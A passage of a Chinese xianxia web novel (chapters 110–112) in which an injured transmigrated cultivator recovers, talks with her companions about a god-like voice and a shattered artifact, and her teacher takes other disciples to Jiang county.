合着这是个发光的……皮球? 闻越看起来很高兴:“这还是我的第一件武器,只不过还没想好名字,你来想想?” 关云铮一愣:“我来想?” 闻越点点头:“起个什么名?” 关云铮看着那个小光球,短暂地走了个神,想起先前闻越说过的引气入体经历,和他总是用灵蝶传信的习惯,忽然想起一句似乎毫不相干的诗来。 “叫……梦觉怎么样?”她说。 闻越歪头:“梦觉?” 关云铮点点头:“对,大梦谁先觉,平生我自知。”[注]—— 作者有话说:【注】大梦谁先觉,平生我自知。——明·罗贯中 让我们热烈庆祝这个闻小狗终于有武器了[三花猫头] 第110章 “好名字, ”闻越满意地拍了拍手中的光团,“以后就叫你这个了。” 关云铮点点头,端起粥碗继续一口一口地喝粥。 梦觉毕竟还只是个形态不明的光团, 闻越拿出来取了名后便无事可做了, 又将它放回乾坤袋中,随后忽然想起什么似的:“对了, 方才说到乾坤袋。” 关云铮正埋头喝粥, 闻言“嗯?”了一声以作回应。 “归墟每两月清理一次弟子们的乾坤袋,今日要收走统一清理了,要是有什么不想给别人看见的东西,记得收拾出来。”闻越说道。 “清理乾坤袋?怎么个清理法?”关云铮抬起头好奇道。 “也对,你如今不便行动,我记得师姐就会, 待会儿等她休息妥当,我喊她过来给你清理?也让你瞧瞧。”闻越还没等关云铮开口便敲定此事, “正好待会儿小悯也休息好了。” 关云铮总感觉今天的闻越不太对劲,此时终于忍不住说道:“师兄, 你还在生气吧?” 闻越笑嘻嘻的:“没有啊, 谁说我在生气?” 那就是还在生气了。闻越平时虽然话也密,但不会密到不让她接话的程度,怪她太迟钝, 听到现在才察觉。 汗流浃背了, 家人们。 好在闻越虽然还生气,但已经自我调节得差不多了,没有再责怪她,只是在端走碗碟之前揉了一把关云铮本就乱七八糟的头发:“歇着吧,待会儿我再来。” 闻越走时顺手带上了房门, 关云铮叹了一口气,从坐着的姿势微微滑下来一些。 全身上下的每一块骨头和肌肉仿佛都在互相挤压,拿着勺子喝粥的力气荡然无存,此刻的她抬起一根手指都得费尽力气,酸胀痛麻的感觉自方才起就没有一刻停下,闻越在一旁说话时还能分散些注意力,等到只剩她一个人,疼痛顿时就变得无法忽视起来。 早就睡习惯的床榻此时变得硌人非常,关云铮感觉自己身上没有哪一处不痛,滑回被窝这点距离已经痛出了一脑门的汗。 摇羽这两日都没被收回剑鞘里,但兴许是被来往的人弄出的动静折腾累了,已经许久都没开口说过话了。 原来剑灵也是要睡觉的。 关云铮幽幽地叹了口气,艰难地蹭着枕头,想把自己塞回被窝里,忽然听见原本被关紧的房门响了一声。 但她没能预先听见脚步声,因此不明所以地往门边看了一眼。 只见一团白——栖霜从那条缝隙中钻了进来,灵巧地蹦上了闻越坐过的那张椅子,又借助椅子蹦到了她手边,把嘴里叼着的一个药瓶递给了她。 关云铮伸手接过,明知栖霜大概率听不懂人话,也没法做出回答,还是忍不住问道:“凌师伯给的?” 栖霜的回应是低头蹭了蹭她的手心,然后一蹦一跳地再次走远了,就是只会开门不会关门,给她房门留了一道足以漏进阳光的缝隙。 药瓶外缠了一张纸条,展开后是不认识的字迹写的:“痛得厉害时服用,不可多吃。” 哦,止痛药。 她垂下眼把纸条卷好,握着药瓶滑回被窝,决定暂且靠忍耐度过这一次的疼痛。 只是兴许先前给她服用的丹药里就有类似的药物,她躺下没多久,又开始在疼痛中昏昏欲睡起来。 **** 第三次睁眼,依旧是楚悯的琴声叫醒了她。 只是这次的曲子听起来十分陌生,她迷迷糊糊地觉得很像清心又不是清心,意识逐渐在辩证之中清晰起来,随后缓缓睁开了眼。 连映不知何时来的,正在她榻边整理她自己的乾坤袋,察觉到关云铮呼吸变了,才抬起头来:“小越说你想看清理乾坤袋的经过?” 关云铮还没从困顿中缓过神来,闻言疲倦地眨了眨眼,没说话。 连映知道她现在很不好受,也没有让她坐起来的打算,而是坐在原地问道:“躺着能看清楚吗?我先准备一些东西,稍后才能给你看。” 关云铮感觉自己睡了一觉,语言功能已经退化成山里的吗喽了,闻言只能再度眨了眨眼,示意自己能看清,就是不知道师姐能不能明白她的眼神。 只见连映笑起来,也对着她眨了眨眼,正当关云铮做足心理准备,打算坐起来一些看她演示的时候,门外光影一晃,楚悯抱着月下逢进来了。 对哦,琴声什么时候停了她都没注意。 关云铮用手肘撑着自己,蹭着枕头勉强坐起来,一动就疼得龇牙咧嘴,正想问问楚悯被那丹药放倒难不难受,就见她放下琴后走了过来。 ——然后她得到了一个拥抱。 这个拥抱不遗余力,甚至能支撑起她才起来一半的上半身,关云铮迟钝地意识到楚悯搭在她背后的双手在发抖。 有PTSD的又何止章存舒一人。 关云铮有心想回抱一下安慰一番,可惜实在没有力气,只能歪了歪脑袋,把楚悯的头发都蹭乱了。 这么多年来的矫情值都在这几天里用完了,关云铮被抱得不大好意思起来,过了好一会儿才小声说:“你托着我累不累?” 楚悯被她逗笑,松开手把她扶坐起来,又退到榻边坐下,和她一起观摩连映清理乾坤袋的过程。 “说是清理,其实依旧是借助外力,不用亲自动手。”连映说道,接着在两人面前从自己的乾坤袋里摸了什么,把拿了东西的手在她们的注视下展开。 关云铮疑惑:“师姐手上有东西?” 楚悯也摇了摇头:“不大看得清……” 连映示意两人伸出手,又在手心做了个捏的手势,看起来像是要把原本在她手心的“东西”各分一撮到两人手心。 如果不是知道连映并非这种性格,关云铮会以为这是一种高深莫测的无实物表演。 只是等连映把手指放到两人手心后,无实物表演的猜测就不成立了——因为关云铮感觉到了手心有东西在动。 虽然她依旧看不清手心究竟有些什么,但那触感确实难以忽视——即便她也不知道自己的感官何时变得这么灵敏了。 兴许这便是境界突破后的感受?那她在幻境中听力忽然变好,难道也是境界突破的征兆? 她在幻境里也没做什么吧,怎么就突破了? 连映没注意到关云铮在走神,把自己手心剩下的那些放回乾坤袋里,随即同两人解释道:“这些小东西叫隙影,不过是各大门派自行饲养培育的,因此各地叫法略有差异,北方的一些门派给它们起的名字叫‘纳拂’。” 关云铮被肋下突如其来的抽痛打断了原本的思路,回神时正好听见这么一句,接话道:“唔,收纳,拭拂?” 连映点点头:“至于归墟为何会叫这些东西‘隙影’……”她向楚悯伸出手,示意她把那只放了隙影的手伸出来,随即在楚悯的手上方念了一声诀,指尖亮起了一团荧光。 楚悯的手心凭空出现了几个微小的黑点,片刻之后黑点齐聚在连映的指尖荧光下,变得格外醒目起来。 “隙影趋光,尤爱这种聚在一处的亮光,但无论从哪一面照光,都是漆黑的影子。喜欢吃灰尘和一些灵气碎屑,游走于乾坤袋之中的缝隙之间,故而称作隙影。”连映收回了自己的手,“小悯可以把手上这些放进乾坤袋里,它们很省心,乾坤袋里一直存放物件,便能一直为你效力。” 楚悯闻言点点头,把手心的东西放入乾坤袋中,感觉到手心的触感消失后收回手:“隙影,算是精怪?” “兴许,这小东西与乾坤袋仿佛相伴而生,究竟从何而来,怕是只有造出乾坤袋的先人才知道了。” **** 师门来过了,同伴来过了,栖霜带着凌风起的药来过了,那就勉强算是凌风起也来过了吧。 按照上次被心魔引寄生昏迷的惯例来看,接下来掌门和任师姐、蒲先生就该来了。 关云铮一想到自己还要面对多少人的关心就觉得坐立难安,哦她现在只能坐,没有站立状态。 如果不是连映说她全身经脉都断过一次,她也很想站起来走走。但这症状听起来太吓人了,她生怕自己下床走两步给某条经脉走不高兴了,咔吧一下又断了。 连映走后她依旧心有余悸,小声问楚悯:“境界突破都这么难受吗?那你以前筑基的时候是不是很疼?” 楚悯正坐在她榻边翻看琴谱,听了这话抬头,无奈地看着她:“你扪心自问,伤成这样是因为境界突破吗?”。冒犯了。 关云铮默默在这话题上闭嘴了。 过了一会儿还是没忍住,或许是因为扯点闲篇有利于她分散注意力不那么疼,她又问道:“你方才弹的那支曲子我还没听过,是苏修士新教的?” “我问苏修士,有无可缓解疼痛的曲子。”楚悯垂下眼,“她说没有这种效用的曲子,但有能分散精神,间接影响痛感的曲子。” 她说到这忽然叹了口气:“好难,学不会。” 关云铮惊呆了:“还有你学不会的东西?” 楚悯这次没被她逗笑,只闷闷不乐道:“苏修士希望我在初次幻境前破妄,我虽感觉不出自己在音修一道的造诣,但我看她的意思,怕是现下出了幻境也没能破妄。” 啊……她最不擅长面对成绩问题了…… 关云铮也跟着叹了口气:“苏修士怎么说?” 楚悯摇了摇头:“苏修士没说什么,反倒是褚先生。” “褚先生?” “方才来之前,褚先生把我和谭一筠叶泯一同叫去,同掌门和蒲先生一起,点评了一番我们这次幻境考察的表现。”楚悯语气平静地抛下一颗炸||弹。 关云铮感觉自己头皮都在一抽一抽地疼,不知道是不是对教师评语的恐惧造成的。 不对,大学都没有教师评语了只有学生评教,她为什么这么害怕? ……哦,她忘了还有偷偷查看学生评分然后公报私仇的老师,这确实还是挺恐怖的。 “三位先生说,你缺乏自信,我过于瞻前顾后,叶泯胆魄不足,谭一筠过于墨守成规。”楚悯复述道。 果然很恐怖。 关云铮徒劳地闭了闭眼:“还说什么了?” 楚悯终于对她笑了笑:“说我们耗时最短,虽然并未完全完成考题,但此次评级最高。” “我还以为会计入折损,评级大打折扣呢。”关云铮随口说。 楚悯幽幽道:“你也知道这是折损。” 关云铮:坏,又说错话了。 自毁好像把语言系统也毁坏了,急。 好在如今她安然无恙,楚悯也不再跟她追究,继续说道:“掌门说没想到我们察觉到幻境的时间那么早,下次会加深幻境的暗示。” ……所以下次那种身不由己的感觉会更强烈吗。 短短几句,关云铮已经幻想出了一个少年痴呆的自己。 还没等她继续构想这惨不忍睹的画面,就听楚悯在一旁说:“对了,将隐的事。” 关云铮回过神,想起还有这么件事被自己抛在肉||身疼痛之外:“你父亲可受到了影响?” 楚悯摇了摇头:“不曾,他还问我是出了什么事,怎么忽然写信回去。” 虽然这事是毫无疑问的好事,但是将隐出自他之手,挡下一击后碎了个彻底,楚悯的父亲竟然毫发无伤?这是什么道理? 既然她用将隐推演的代价是小悯的父亲承担,那将隐碎了,小悯的父亲怎么会安然无恙? 此事…… “嘶……”关云铮脊背忽然泛起针扎般的痛,刺得她下意识弓起背,她痛得面容扭曲的同时还不忘了对着楚悯吐槽,“先前下山去师兄家名下农庄那日,你可还记得?” 楚悯被她吃痛的声音吓了一跳,手忙脚乱地站起来,却见关云铮朝她摆摆手,摸出栖霜叼过来的那个药瓶,又伸手去够榻边矮几上的茶碗。 楚悯连忙倒了一碗水给她。 关云铮就着水把药丸咽了,由于许久没吃过药,吞咽得不太顺利,药丸还没被咽下去便已经在舌根化开了,苦得她险些把药又吐出来,一时神情更扭曲了。 她连喝三口水才勉强压下了舌根涌上来的苦味,忍不住拿着那药瓶看了好几眼:“凌师伯想苦死我?” 楚悯失笑,把碗放回矮几,在她身侧坐下:“此药是缓解疼痛之用?” 关云铮点点头,把药瓶随手放到枕边:“那一日我独自在荷塘边蹲着的时候,听见一个声音。” “声音?”楚悯不明所以。 关云铮被苦味刺激得一时忘了躯体的疼痛,也不知道凌风起所言止痛究竟是不是指的这种意义的止痛:“小悯,你觉得这世上,有神吗?”—— 作者有话说:被毒榜单折磨得心气全无……追读也没了,虽然知道是大家有各自的事情要忙,榜单也未必涨收,但我的收藏数已经鬼打墙快要一个月了,一直没法突破,收益也是愁云惨淡,然后我还得哄好自己码字…… 如果写文的可以只写文就好了,但显然这种想法是一种奢求。 这周按榜单字数更新,下周起不申榜了,隔两日更六千,如果申榜了有改动会提前说明。 我只是个希望收藏和收益能稳步上涨的卑微小读者,到底是谁在我背后做局…… 110-120 第111章 “神?”楚悯皱起眉, “可上一位飞升成仙之人已是七十年前,至今仍下落不明,此前也从未听闻神的存在……” “但那个声音知晓的事情有些太多了……在我的认知中, 说祂是无所不知也不为过。”关云铮也皱起眉头, “我来到此世,甚至也可能是祂的手笔。” 这话不啻于平地而起的一声惊雷, 楚悯被惊得手中的乾坤袋都落在了关云铮的被褥上:“你说什么?” 关云铮同她简单叙述了一番自己在原身的记忆中听到的声音, 以及这个声音后来对她所说的话,几乎越说越笃定,这个声音的主人不是神的话,没有别的可能。 祂甚至能让另一个世界的灵魂来到此世,如果不是神明才有此权能的话,这个修仙界会不会太逆天了一点?这么厉害的存在竟然也不是神, 岂不是太吓人了? 按说山中有灵兽,死后有鬼魂, 乾坤袋中尚且有精怪,那这世上也就自然有神仙, 不然万物相生相克, 岂不缺了至关重要的一环。 ——曾经每次她看了恐怖片被吓得神思不属,可都是靠“有鬼肯定有神仙,神仙肯定不会让鬼乱杀人”这样的想法来安慰自己的。 但神仙不同于地上行走的人, 平心而论, 神仙是多是少,是否存在,并不对人们的生活产生多么大的影响。人们固然会求神拜佛,但求的那几位神佛,恐怕早就变为了万古以来的一缕尘烟, 亦或飞升去了天外之地,总之大约等同于消失了。 人们习惯了求神,也习惯了神永不回应呼唤,久而久之,也便都清楚,求神只是一种心理安慰,实则没有人能听见了。 此刻关云铮忽然说有这样一个装神弄鬼的存在,堪称无所不知无所不晓,甚至手眼通天,许多事情都能摆平,这实在有些超脱常人的认知。 既然常人的认知无法解释,那也就只剩下莫须有的神,这一种解释了。 “祂还同你说过什么?”楚悯问道。 关云铮面色复杂:“他说将隐挡下致命一击后碎了,随后他赶到遮掩了痕迹。” 楚悯的眉头顿时皱得更紧了。 方才关云铮已经在乾坤袋中检查过,确实没摸出将隐的实体,兴许真的碎了也不是没可能。 但是将隐只是个喊一声动一下的法器,得了令才会动,又不是什么撷光这样主动保护的法器,怎么会做出这种举动呢? 关云铮试探着调动了一番自己的记忆,妄图通过这种方式找到将隐,可惜她呼唤了许久,脑海中都没有传来那熟悉的“咔哒”声。 真的碎彻底了?一点都找不回来了? 她还以为自己能够一直用将隐作弊,许多知识可以囫囵记个大概,许多事情可以当做过眼云烟,未来兴许境界够了,限制没那么多了,也不需要别人替她承担代价了,还能够为江却回溯一番他的过去,又或者做点什么更有意义的事情。 可此刻她在万千记忆中一回头,发现这样作弊的权利似乎再也没有了。 “将隐……为什么会替我挡下这一击呢?”关云铮喃喃自语道。 将隐完全是楚泽枫自己打造出的法器,在送给关云铮之前,作为他女儿的楚悯甚至都对此物毫不知情,所以此刻,没人能回答她的问题。 关云铮只能叹了一口悠长的气,习惯性地发挥拖延大法,把此事暂时搁置一边,问起另一件自己十分关心的事来:“对了,师父他们从江县赶回来,江县情况如何?当真与幻境中一样?” “我正要找你说此事。”章存舒不知何时来了,一步跨了进来。 **** “江县的局势同幻境中的相差无几。”章存舒开门见山道。 兴许是他不再伤心了,兴许是江县的事要紧,个人的情绪需要暂时放到一边,总之不管出于什么原因,关云铮总算能跟他正常交流了,只是章存舒的表情依旧不大好看。 “那我们在幻境中所为,对现实的江县可有何影响?”楚悯自然明白关云铮所关心的事,先一步问道。 “江县重建的进程比幻境中快一些,我们到时也想到了用御物术帮忙搬运。不过兴许是现实中柳相抵达江县之初便树立威信,威慑了纵火之人,是以抓捕他们费了一些工夫。”章存舒答道。 “立威?”关云铮不解,“怎么个立威法?” “柳相拿手好戏,快刀斩乱党。”章存舒说到这竟笑了一下,只是那笑意很薄,只在嘴角挂着,未曾触及眼底,“你们在幻境之中的道观里抓到的那几人,在现实的江县里是漏网之鱼。” “漏网之鱼?”楚悯皱眉,“那现在呢?” 章存舒语气平淡:“幻境破灭后我给柳相去了信,让她去一趟道观查看。” 关云铮若有所思道:“幻境会随着进入其中之人的心境变化而变化,这几人竟也是真实存在,而非出自我们的杜撰?” 虽然这话听起来未免有些太把他们自己当回事了,但万一他们四人造成了变量,成了扇动那一场飓风的蝴蝶呢? 章存舒这次真的笑了一声,看起来又与往常无甚差异了:“看来是休息好了?思绪这么活络。” 那倒是还没有,除了脑袋,其他地方都得时不时地抽痛一下。 她对此也感到很奇怪,识海虽然是个抽象概念,在身体里并无实体,但应当是与脑子有关的,她当时一击全然冲着识海而去,虽然被将隐和祂先后拦截,但多少还是对其产生了影响,毕竟身处其间的心魔引都碎得没全尸了。 此番折腾之下,她的脑子竟好像全然无损,整个人没傻没残,真是令人震惊。 看出她在想些什么,章存舒拿过床头矮几上那个小茶盏,示意二人看过来:“你的识海就像这盛了水的茶盏,里头盛着心魔引这么个东西,那一击先是把心魔引毁了个彻底,接着茶盏里什么也没有了,这才轮到识海受击,此时将隐动了,扛住了余下的,但将隐被击碎也有余波,只是不再集中于识海,分摊到了你身体各处。” 所以哪怕识海看起来并无大碍,周身经脉也在这余波和境界突破的双重作用下,断了个彻底。 他语气听着无波无澜,关云铮和楚悯听完这话却半晌没出声。 因为两人都敏锐地意识到,这平时看起来十分好脾气的人,还有话要说。 章存舒放下了那只仅剩一点水迹的茶盏,用一种关云铮不知该怎么形容的语气问道:“有什么让你难过的事,非得自毁不可?” 他似乎是困惑的,又似乎只是难过,只是还没等关云铮和楚悯琢磨明白他那点情绪,就听见他接着说道:“以后有什么心事,先同我或者师姐说,或者同小悯说,别一个人做决定,好不好?” 楚悯原本还在跟着疑惑关云铮决定自毁的原因,听了这话在一旁连连点头,十足后怕的模样。 关云铮看过许多抑郁到了最后自|杀的例子,看过许多评论区的言论:孩子死后父母究竟伤不伤心,是伤心居多还是不理解和愤恨居多,会觉得“我的孩子真是受苦了”还是觉得“有什么大不了的事值得去死”…… 她无从得知21世纪自己的父母会如何看待她的死亡,也不是很愿意去推敲那其实很容易得出的答案,在章存舒和楚悯的注视下缴械投降,叹了口气,没头没脑地说道:“凌师伯的药还挺管用的,现下已经不怎么疼了。” 境界突破在场的两位都经历过,但筑基也好,金丹也好,都是在原本身体的基础上打通一些灵窍,疏通一些原本滞涩的经脉,并不至于到打断经脉重塑的地步。 因此在关云铮开口前,所有关于她伤势轻重的想法,都仅仅是想象,只不过心疼她的这些人会想得格外严重罢了。 他们不怕自己想得太重,只怕自己想得太轻,此刻听关云铮说起凌风起的丹药管用,章存舒的脸色顿时就变得不大好看起来。 ——想来他是清楚那丹药是何种效用的。 凌风起此人虽然从一个药童成长为丹修,做丹修时却并不十分遵守当药童时的规矩。民间用药讲究温养调和,并不主张虎狼的治法,他炼制丹药却相当大刀阔斧,主张小病不用吃,大病吃了立竿见影——鬼知道会有什么代价在后头等着。 关云铮自然也是很能忍痛的,初次苏醒时甚至还能同闻越说两句玩笑话,虽然那之后很快便昏睡过去,但从她淡笑风声的模样看来,在此事上应当也是轻易不会服药的那种性格。 得有多疼啊。楚悯快把手里的琴谱攥破了,第无数次地诘问自己,为什么没能早些发现端倪。 关云铮不知何时凑过来的,吃了药的人当下堪称生龙活虎,凑过来时是背也不疼了筋也不抽了:“怎么眼泪还传染吗?这位姑娘也要哭啦?” 楚悯被她吓了一跳,仓促间抬起头,眼眶果然是红的。 关云铮在榻上躺了两天,此刻虽然不怎么疼了,但四肢依旧酸软无力,挪动时颇有些费劲:“小悯,我已经因为自责险些同心魔引同归于尽了,说明自责这种情绪会加深你的挫败感,让你越发觉得自己是个无可救药的罪人,最终做出一些清醒状态下不会做的事。” 她一眼看出楚悯在想什么似的,艰难地张开双手环抱住她:“此事怎么能怪你?不要这样想。” 章存舒失笑:“自己还没好透,倒是有力气安慰小悯。” 关云铮松开双手,该立刻解决的情绪得到解决后,无可避免地,到了坦诚的时刻,她在心里深吸了一口气:“我曾经,额角长了一颗不甚明显的痣,一般都有头发遮掩,但是确实有这样一颗痣。” 她语序混乱,没了在祂面前坦白时的自如。 章存舒和楚悯闻言下意识往她额角看了一眼。 关云铮把自己额前的碎发拨开:“这具身体……以前没有这颗痣。” 而此刻,就在她拨开碎发的手旁边,一颗痣就那样微小但不容忽视地长在那个角落。 “如果……未来这张脸长得越来越像过去的我,而非维持原来的生长方向,这算什么?”哪怕已经不再因为此事产生强烈的自责,关云铮也还是无法释怀。 有一种说法是,长期待在一起的人观察自己身边的人时,注意的一般是细节;不太熟悉的人或是陌生人,则一般关注的是整体。所以常有觉得彼此长得并不相像的一家子出门,被外人评价长得很像的事情发生。 楚悯与关云铮朝夕相处,自然知道她所说非虚,以前她的记忆中……那个位置确实没有这样一颗痣。 房中的三人一同陷入沉默,章存舒竟然罕见地不知道该说些什么。 好在关云铮经此一遭已经差不多自我调理好了,也没想从别人那里听到什么安慰的说法,于是自然地岔开话题:“师父还回江县吗?” 章存舒回过神来,可能是对于她丝滑转化话题感到头痛,神色复杂道:“怎么能叫回,应该是去。” 归墟才叫回。 关云铮自觉失言,眨眨眼睛找补道:“师父说的是,那你还去江县吗?” 章存舒知道她有意打岔,索性顺着她的话说道:“去,怎么?” 关云铮看向楚悯:“带小悯还有那俩一块去呗,正好看看现实的江县是怎样的。” 她说了这一会儿话又有些累了,也可能是药效作祟,总之困劲上涌,连眨了好几下眼睛才压制住困意:“你把幻境设计成受灾后的江县,难道不打算让我们去看一眼,现实中的它究竟如何了吗?” 章存舒这下真情实意地笑起来:“那小悯,我们就出发去一趟江县?” 楚悯对这一点自然没意见,只是…… 关云铮困得倒回被褥里,含混说道:“师父应当还给我找了专人,教我重塑经脉时如何修炼吧,我自然留在归墟调养生息。” 楚悯这下也笑了起来:“云崽好聪明。” 已经快昏睡过去的关云铮勉强抬起手给他俩竖了一个大拇指,再度睡着了。 **** 章存舒一行倒没有立即动身,吃了一顿饭才走。 到了饭点自然有人来给关云铮送饭,可推开门看见她睡得沉沉,还难得没有皱着眉头,又默不作声地端着饭菜退出去了。 江却站在门外,见连映这一串动作,不由得压低声音:“睡着了?” 连映点点头:“等睡醒了热一热再送过来吧,这两日以来每次睡着都紧皱眉头,想必在睡梦中也疼得厉害,如今吃了凌师伯的药才能安睡,就让她多睡一阵子。” 两人边说边往连廊上走,江却闻言倒皱起眉头:“凌师伯的丹药虽好,但起效这般快,日后可会有何不妥?” “兴许就是此类丹药服用得多了,日后便没有这样好的效果了?”连映反问道。 他们都不通医理,对丹修一道更是一知半解,聊着聊着不由得发起愁来,不约而同地叹了口气。 小师妹表现得云淡风轻,实际上“全身的经脉都断了”这样的痛,他们光是稍微一想就觉得并不是那么容易忍受的,也不知云崽这两日究竟是怎么忍下来的。 能忍常人所不能忍的关云铮在昏睡之中,又做起了无边无际的梦。 她的大脑一直属于白天有点痴呆,夜晚格外活跃的那一种,该灵光的时候不给她面子,不该活泛的时候,能编出万花筒一样变幻莫测的好几重梦境来折磨她。 但前阵子修炼太累,这玩意儿也终于变成个半死不活的脑子了,她也就许久不曾做过这么漫长的梦了。 梦里忽而是送出源源不断热风的电风扇,在她头顶呼啦啦地转动;忽而是劣质的打印纸印出的恶臭试卷,写一张能被臭得晕厥;忽而是没完没了的细胞因子在做莫名其妙的分工;忽而是打开柜子,发觉有人在大体老师“眼皮子”底下偷走了组里的器械盒…… 漫长的学生时代就像临死前的走马灯,在她脑子里毫无眼力见地乱序播放起来,直到她被痛感再次折磨得悠悠醒转,忽然听见遥远的地方传来一声清晰的: “咔哒。” 那点困意就这样被惊散了。 关云铮猛地睁开眼睛,明知不会得到回应,还是喃喃道:“将隐?” 外头天光大亮,她不知道自己睡了多久,心想大约是又睡到了第二日的早晨,勉力支撑着自己坐起来,想起药瓶被她随手放在枕头底下,又颓然地倒回了被窝里,摸索着把一粒丹药拿出来。 “咔哒。” 那遥远的动静又响了起来,这次关云铮确定了,并不是自己听错,那就是将隐还有实体时,轮盘转动发出的声音。 这点动静不知给了她什么样的动力,都倒回被窝里了,愣是又艰难地支着身体爬了起来,大约是被灵气接起来的经脉不大好用,爬的过程中险些头重脚轻地栽到榻下去。 而许久没有动静的摇羽终于大呼小叫了起来:“什么声音?你要做什么?” 关云铮把那粒丹药捏在指尖,额前碎发在这短短的一段时间里已经被冷汗浸湿了,她心态十分乐观地回应了摇羽的大呼小叫:“你醒了?没事,我就想去洗漱一下。” 摇羽被她轻描淡写的一句“洗漱”吓坏了,飞到她眼前吱哇乱叫:“你瞎动弹什么?伤势这么重还想着洗漱?” 关云铮已经披上外衣穿好鞋,从榻上艰难地把自己“搬”了下来。 人的生长发育果然是个不可违逆的过程,这一遭重塑经脉就如同新生,她在榻上还能四肢并用地“爬”,两脚踩上地面,却不能流畅自如地“走”。 让新生的婴儿先学会爬是多么永恒的一句真理。 洗漱的铜盆与铜镜就在五步之内,而她才迈出第一步,就险些被全身各处传来的疼痛按住脊梁,朝那根本算不得敌人的洗漱架跪下。 摇羽看不见也就算了,甚至连关云铮的声音都没听见,快急疯了:“你丹药呢?你快吃丹药啊!” 关云铮捏着那粒丹药没吃,活像是把它当个心理安慰剂,闻言笑了一下,又艰难地迈开一步,声音听起来竟然毫无端倪:“摇羽,你知道这一类止痛的丹药,吃下去后是什么样的感觉吗?” 摇羽是剑灵,还没实体,自然不懂,于是顺着她的话问道:“什么感觉?” “最初你觉得自己没那么疼,可以忍,但又觉得吃颗丹药也没什么,于是一番犹豫过后,你在不是那么痛的时候把药吃下去了,”关云铮终于走到了洗漱架前,克制地喘了一口气,感觉全身的器官都在造反,只有这颗脑袋暂时还算听使唤,“接着你就会发现,明明吃完药该不疼了,但还是疼得厉害。” 摇羽不明白:“为何?” 古时候的铜镜并不能非常清晰地照出人的脸,但兴许仙门之中的铜镜也有术法加持,看得要清楚许多,只是受材质所限,人的脸色要暗沉一些。 那颗痣如她在心魔幻境中所见一致,鲜明无比。 她半晌没答话,也没动静,摇羽一惊一乍地又喊叫起来:“你怎么了?怎么不说话?” 关云铮像是此刻才回神似的,牛头不对马嘴地说道:“因为你有了期待。” ——她回答了摇羽方才的问题—— 作者有话说:我跟痛经……不共戴天……[化了] 第112章 关云铮再次昏睡过去不久后, 章存舒带着楚悯三人出发前往江县。 其实只要他们之中的任何一个人表露出一点想要关云铮一同去的想法,关云铮自然能够同行,只不过顾虑到缩地成寸本质也是空间的扭曲, 对她身体的伤势有弊无利, 假若她当真要来,他们便只能乘坐灵舟去了。 再加上她行动不便, 就算到了江县也只能待在灵舟上躺着, 没什么可做的事。 所以几人包括关云铮在内,都默契地没有表露过要让她去的意思。 但其实他们每个人都清楚,关云铮一定很想看看现实中的江县究竟是何种模样,因此准备缩地成寸期间,四人都默契地没说话,避开了这一话题。 刚从幻境出来没过几天, 就体验了一回章存舒带领之下的缩地成寸,叶泯一落地, 一阵头晕目眩,险些把刚吃下去的饭菜吐出来。 他想吐但吐不出, 面有菜色地问站在一旁云淡风轻的章存舒:“章先生, 缩地成寸都这么难受吗?” 章存舒低头看了他一眼,眉眼一弯,露出个十分缺德的笑来:“并不是全然如此, 只是跟着我缩地成寸要更快些。” 换言之, 空间在同段时间内被扭曲得更为严重,头晕的感觉也就来得更猛烈。 仍旧不了解章存舒本性如何的叶泯被这大尾巴狼一句话噎住了,只能继续扶着一旁的墙缓过这一阵劲头。 他总算是明白为什么平日里提到师父的话题,云铮都会嘀咕那么几句了,真是辣手摧一切啊。 站在他身侧的谭一筠从乾坤袋里摸出个什么东西, 飞快地递到叶泯鼻子底下,叶泯没防备,倏地吸了一大口,顿时头也不晕了眼也不花了,精神得还能再来两次缩地成寸。 “什么东西?”正如叶泯在幻境中的表现,他对草药是有些研究的,谭一筠递过来的东西像棵草药,但他没见过,药效竟还这么好,不由得有些好奇。 谁料谭一筠也是面有菜色,把手递到自己鼻子下方嗅了嗅才说:“专治我和你这样缩地成寸后晕头转向的,我师父在动身来归墟前给的。” 如今看来,想必他师父作为章先生的好友,对他缩地成寸的习惯深谙于心。 章存舒闻言往谭一筠手心看了眼:“哦,那是你师父早年晕得厉害时自己研究的,我也不知道是个什么东西。” 听这话他竟还没少荼毒谭一筠的师父,真是祸害遗千年。 楚悯作为三人中唯一一个对缩地成寸无甚不良反应的人,始终在一旁安静地听着几人的对话,听到这会儿忍不住说道:“章先生和谭兄的师父……实在是很有发明创造的潜质。” 一个因为记不住需要背诵的卷册,研究出了能速记的扇子;一个因为晕缩地成寸研究出了能削减作用的……这是个什么东西?算了,概括不出。 四人缩地成寸抵达之处是个窄小的巷子,与幻境中的众多巷道几乎没什么不同,看来章存舒在布设幻境前对江县多有观察。 闲话说到这,被三位弟子各自蛐蛐的章存舒带着三人往外走,边走边说道:“如今江县的局势不太平,柳相在此大刀阔斧地改||革,触了某些人的霉头,我们先去与柳相会合,共同商议日后的安排,之后再做打算。” 楚悯跟在章存舒身后,问出了她始终关心的问题——自然,也是关云铮关心的问题:“先生,幻境中的陆大人,确有其人吗?” 章存舒无端笑了起来,回头看了她一眼:“你这话这时候问正好。”他停下了脚步,“自然确有其人,只是并非幻境中那样的性格。” 谭一筠同叶泯一起深以为然地点点头,说道:“我们初次进入幻境时见到的陆大人,以及幻境破灭前见到的陆大人,应该才是真正的陆大人吧?” 章存舒挑起一侧的眉:“聪明。” 四人正站在将要没入大路的巷口,章存舒话音刚落,大路那边就探出一人来,恰好长了张四人都认识的脸。 ——正是方才被谈论的陆识微。 **** “柳大人接了消息,知道你们要来,正好这时候闲着,我就过来看看,正好听见你们在……”陆识微带着他们在大路上走了一段,又拐进一条小巷,在一处房屋门前停住脚步,替他们推开门,“谈幻境中的事。” 叶泯还没从关云铮那习得蛐蛐人被当面抓包的事件处理经验,闻言有些不自然道:“嗯……” 陆识微相当善解人意地朝三位少年一笑:“幻境之事我听柳大人说了,里头那位‘陆大人’,应当更像柳大人一些?” 谭一筠和叶泯没见过柳卿知,听了这话正尝试着将幻境中“陆识微”的形象总结一番,以对应上那个素未谋面之人,忽然听见院内传来一个陌生的声音:“到了?” 陆识微欢快地答道:“到了!” 楚悯莫名想起些什么,不动声色地挑了挑眉。 那不见其人先闻其声的柳大人这才从他们看不到的地方走了出来,一露面就对着章存舒说道:“你信中提及的道观,我去查探过了。” 章存舒在院中桌边坐下,喝了口自上次来到江县便成了“熟人”的苦茶:“如何?” 柳卿知招呼三位少年坐下:“这茶太苦了,让你们章先生喝就行了。这一壶是前几日得来的荷叶茶,兴许要不苦一些。” 谭一筠和叶泯听了这话尤在拘谨,楚悯已经率先端起茶盏尝了一口那荷叶茶,品出了熟悉的味道,疑惑道:“嗯?是闻师兄家中农庄产的荷叶茶?” 